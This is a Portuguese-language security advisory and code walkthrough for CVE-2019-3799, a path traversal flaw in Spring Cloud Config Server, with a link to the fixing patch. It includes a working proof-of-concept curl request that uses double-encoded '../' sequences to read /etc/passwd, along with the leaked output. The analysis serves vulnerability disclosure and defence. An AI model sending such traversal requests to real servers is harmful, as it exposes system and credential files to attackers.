
CVE-2019-3799 - Spring Cloud Config Server: Travel de Diretório < 2.1.2, 2.0.4, 1.4.6
O Spring Cloud Config Server é vulnerável a travessia de diretório / Path traversal / divulgação de conteúdo de arquivo < 2.1.2, 2.0.4, 1.4.6
Spring Cloud Config, versões 2.1.x anteriores à 2.1.2, versões 2.0.x anteriores à 2.0.4, e versões 1.4.x anteriores à 1.4.6, bem como versões mais antigas sem suporte, permitem que aplicativos sirvam arquivos de configuração arbitrários através do módulo spring-cloud-config-server. Um usuário mal-intencionado, ou atacante, pode enviar uma requisição usando uma URL especialmente elaborada que pode levar a um ataque de travessia de diretório.

Encontrado por Vern ([email protected])
Aviso de Segurança
Análise Técnica
cd spring-cloud-config-server
../mvnw spring-boot:run
curl http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
Como sempre, lendo a documentação podemos encontrar as informações relevantes:
Servindo arquivo de texto simples: https://cloud.spring.io/spring-cloud-static/spring-cloud-config/1.3.1.RELEASE/#_serving_plain_text
O Config Server fornece esses através de um endpoint adicional em /{name}/{profile}/{label}/{path}, onde "name", "profile" e "label" têm o mesmo significado do endpoint de ambiente regular, mas "path" é um nome de arquivo (ex.: log.xml).
O servidor fornece esses através de um endpoint adicional em /{name}/{profile}/{label}/{path}
Outra informação interessante da documentação:
Com backends baseados em VCS (git, svn), os arquivos são copiados (checkout) ou clonados para o sistema de arquivos local. Por padrão, eles são colocados no diretório temporário do sistema com o prefixo config-repo-. No Linux, por exemplo, pode ser /tmp/config-repo-
O que acontece quando enviamos http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd
@RequestMapping("/{name}/{profile}/{label}/**")
public String retrieve(@PathVariable String name, @PathVariable String profile,
@PathVariable String label, ServletWebRequest request,
@RequestParam(defaultValue = "true") boolean resolvePlaceholders)
throws IOException {
String path = getFilePath(request, name, profile, label);
return retrieve(request, name, profile, label, path, resolvePlaceholders);
}
retrieve chama a função findOnesynchronized String retrieve(ServletWebRequest request, String name, String profile,
String label, String path, boolean resolvePlaceholders) throws IOException {
name = resolveName(name);
label = resolveLabel(label);
Resource resource = this.resourceRepository.findOne(name, profile, label, path); // path: ..%2f..%2f..%2f..%2f..%2f../etc/passwd
if (checkNotModified(request, resource)) {
// Content was not modified. Just return.
return null;
}
// ensure InputStream will be closed to prevent file locks on Windows
try (InputStream is = resource.getInputStream()) {
String text = StreamUtils.copyToString(is, Charset.forName("UTF-8"));
if (resolvePlaceholders) {
Environment environment = this.environmentRepository.findOne(name,
profile, label);
text = resolvePlaceholders(prepareEnvironment(environment), text);
}
return text;
}
}
findOne é chamada:public synchronized Resource findOne(String application, String profile, String label, String path) {
if (StringUtils.hasText(path)) {
String[] locations = this.service.getLocations(application, profile, label).getLocations(); // /tmp/config-repo-<randomid>
try {
for (int i = locations.length; i-- > 0; ) {
String location = locations[i]; // [1]..%2f..%2f..%2f..%2f..%2f../etc/passwd
for (String local : getProfilePaths(profile, path)) {
Resource file = this.resourceLoader.getResource(location).createRelative(local); // /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd
if (file.exists() && file.isReadable()) {
return file; // /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd
}
}
}
}
}
catch (IOException e) {
throw new NoSuchResourceException(
"Error : " + path + ". (" + e.getMessage() + ")");
}
}
throw new NoSuchResourceException("Not found: " + path);
}
retrieve lê o arquivo com StreamUtils.copyToString(is, Charset.forName("UTF-8"), que converte /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd para /etc/passwd, resultando na divulgação do arquivo /etc/passwd
Correção: https://github.com/spring-cloud/spring-cloud-config/commit/3632fc6f64e567286c42c5a2f1b8142bfde505c2

From 3632fc6f64e567286c42c5a2f1b8142bfde505c2 Mon Sep 17 00:00:00 2001
From: Spencer Gibb <[email protected]>
Date: Tue, 2 Apr 2019 14:16:10 -0400
Subject: [PATCH] Cleans invalid paths
fixes gh-1355
---
.../resource/GenericResourceRepository.java | 165 ++++++++++++++++--
.../GenericResourceRepositoryTests.java | 18 ++
2 files changed, 170 insertions(+), 13 deletions(-)